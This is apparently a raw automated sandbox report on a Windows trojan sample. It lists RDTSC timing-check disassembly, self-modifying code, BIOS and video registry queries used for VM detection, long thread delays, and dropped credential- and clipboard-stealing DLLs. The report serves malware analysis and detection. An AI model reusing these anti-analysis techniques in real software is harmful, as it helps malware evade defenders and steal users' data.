Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90DFB second address: 4F90E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F3620DC9107h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 movzx eax, dx 0x00000014 mov esi, edi 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3620DC9106h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90E3D second address: 4F90E43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90E43 second address: 4F90E47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90AEE second address: 4F90AFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F59Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90AFD second address: 4F90B03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90B03 second address: 4F90B55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov ax, 3FA9h 0x0000000e jmp 00007F362081F5A6h 0x00000013 popad 0x00000014 mov dword ptr [esp], ebp 0x00000017 jmp 00007F362081F5A0h 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f mov edi, esi 0x00000021 push ecx 0x00000022 mov ax, bx 0x00000025 pop edx 0x00000026 popad 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F362081F59Ah 0x00000031 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90B55 second address: 4F90B59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F90B59 second address: 4F90B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 5010793 second address: 5010797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 5010797 second address: 501079D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 501079D second address: 50107E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC9104h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx ecx, bx 0x0000000e mov bh, BEh 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F3620DC9105h 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3620DC90FDh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 50107E3 second address: 5010802 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov dx, si 0x0000000e pushad 0x0000000f jmp 00007F362081F59Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 5010802 second address: 5010818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3620DC90FDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 5000897 second address: 500089D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 500089D second address: 50008A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 50008A1 second address: 50008FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F362081F59Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov cx, 621Dh 0x00000016 mov ecx, 184D0319h 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 jmp 00007F362081F5A1h 0x00000026 pushfd 0x00000027 jmp 00007F362081F5A0h 0x0000002c sbb ax, 27D8h 0x00000031 jmp 00007F362081F59Bh 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 50008FD second address: 5000915 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3620DC9104h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 5000915 second address: 500093B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F59Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F362081F5A0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 500093B second address: 500093F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 500093F second address: 5000945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 5000945 second address: 500094B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 500073A second address: 500073E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 500073E second address: 5000744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 5000744 second address: 50007AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 pushfd 0x00000007 jmp 00007F362081F59Fh 0x0000000c sub si, 9F7Eh 0x00000011 jmp 00007F362081F5A9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007F362081F59Eh 0x00000020 push eax 0x00000021 jmp 00007F362081F59Bh 0x00000026 xchg eax, ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F362081F5A5h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 50007AF second address: 50007D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC9101h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3620DC90FDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 50007D5 second address: 5000843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F362081F5A7h 0x00000009 adc esi, 544F14FEh 0x0000000f jmp 00007F362081F5A9h 0x00000014 popfd 0x00000015 movzx ecx, di 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F362081F5A4h 0x00000025 adc si, 5B28h 0x0000002a jmp 00007F362081F59Bh 0x0000002f popfd 0x00000030 push esi 0x00000031 pop ebx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 5000843 second address: 5000848 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0277 second address: 4FA027B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA027B second address: 4FA027F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA027F second address: 4FA0285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0285 second address: 4FA029B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3620DC9102h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA029B second address: 4FA029F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA029F second address: 4FA02EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov ah, dl 0x0000000c pushfd 0x0000000d jmp 00007F3620DC9106h 0x00000012 or ch, 00000048h 0x00000015 jmp 00007F3620DC90FBh 0x0000001a popfd 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 call 00007F3620DC9101h 0x00000028 pop esi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA02EC second address: 4FA0305 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F59Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0305 second address: 4FA0309 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0309 second address: 4FA030F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 5000C2F second address: 5000C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3620DC9108h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 5000C4B second address: 5000C59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 5000C59 second address: 5000C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Special instruction interceptor: First address: B6C005 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Special instruction interceptor: First address: D49E4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: 4EC005 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: 6C9E4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Special instruction interceptor: First address: 24CB65 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Special instruction interceptor: First address: 3EBEAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Special instruction interceptor: First address: 3F471F instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: AECB65 instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: C8BEAE instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: C9471F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Special instruction interceptor: First address: 50B99A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Special instruction interceptor: First address: 50BA58 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Special instruction interceptor: First address: 6AF951 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Special instruction interceptor: First address: 73764A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Special instruction interceptor: First address: 1CB99A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Special instruction interceptor: First address: 1CBA58 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Special instruction interceptor: First address: 36F951 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Special instruction interceptor: First address: 3F764A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: F7CB65 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 111BEAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 112471F instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Code function: 0_2_05000D4A rdtsc

0_2_05000D4A

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4645
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5205

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_1-11206

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1000051001\b977f667d6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sarra[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 6976	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 6976	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 2492	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 2492	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 6996	Thread sleep count: 304 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 6996	Thread sleep time: -9120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 2120	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 2120	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 6700	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 2944	Thread sleep count: 47 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 2944	Thread sleep time: -94047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 6996	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2300	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3180	Thread sleep count: 53 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3180	Thread sleep time: -53000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe TID: 4336	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe TID: 7124	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe TID: 4856	Thread sleep count: 85 > 30
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe TID: 5236	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe TID: 4856	Thread sleep count: 168 > 30
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe TID: 7128	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe TID: 4856	Thread sleep count: 89 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 5808	Thread sleep time: -46023s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 3688	Thread sleep time: -42021s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 2380	Thread sleep count: 36 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 2380	Thread sleep count: 145 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 2380	Thread sleep count: 92 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 4884	Thread sleep time: -36018s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 3408	Thread sleep time: -30015s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 2380	Thread sleep count: 34 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 1312	Thread sleep time: -42021s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 3152	Thread sleep time: -44022s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 3512	Thread sleep time: -36018s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 1508	Thread sleep count: 143 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 3444	Thread sleep time: -44022s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 1508	Thread sleep count: 89 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 3320	Thread sleep time: -38019s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 1508	Thread sleep count: 31 > 30
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe TID: 772	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe TID: 3228	Thread sleep count: 95 > 30
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe TID: 3228	Thread sleep count: 102 > 30
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe TID: 3228	Thread sleep count: 90 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 5948	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 6904	Thread sleep count: 81 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 6904	Thread sleep count: 46 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 6904	Thread sleep count: 97 > 30
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe TID: 4496	Thread sleep count: 105 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 2764	Thread sleep count: 64 > 30

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Last function: Thread delayed
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Last function: Thread delayed
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Last function: Thread delayed
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\OneDrive\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Videos\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Music\desktop.ini	Jump to behavior

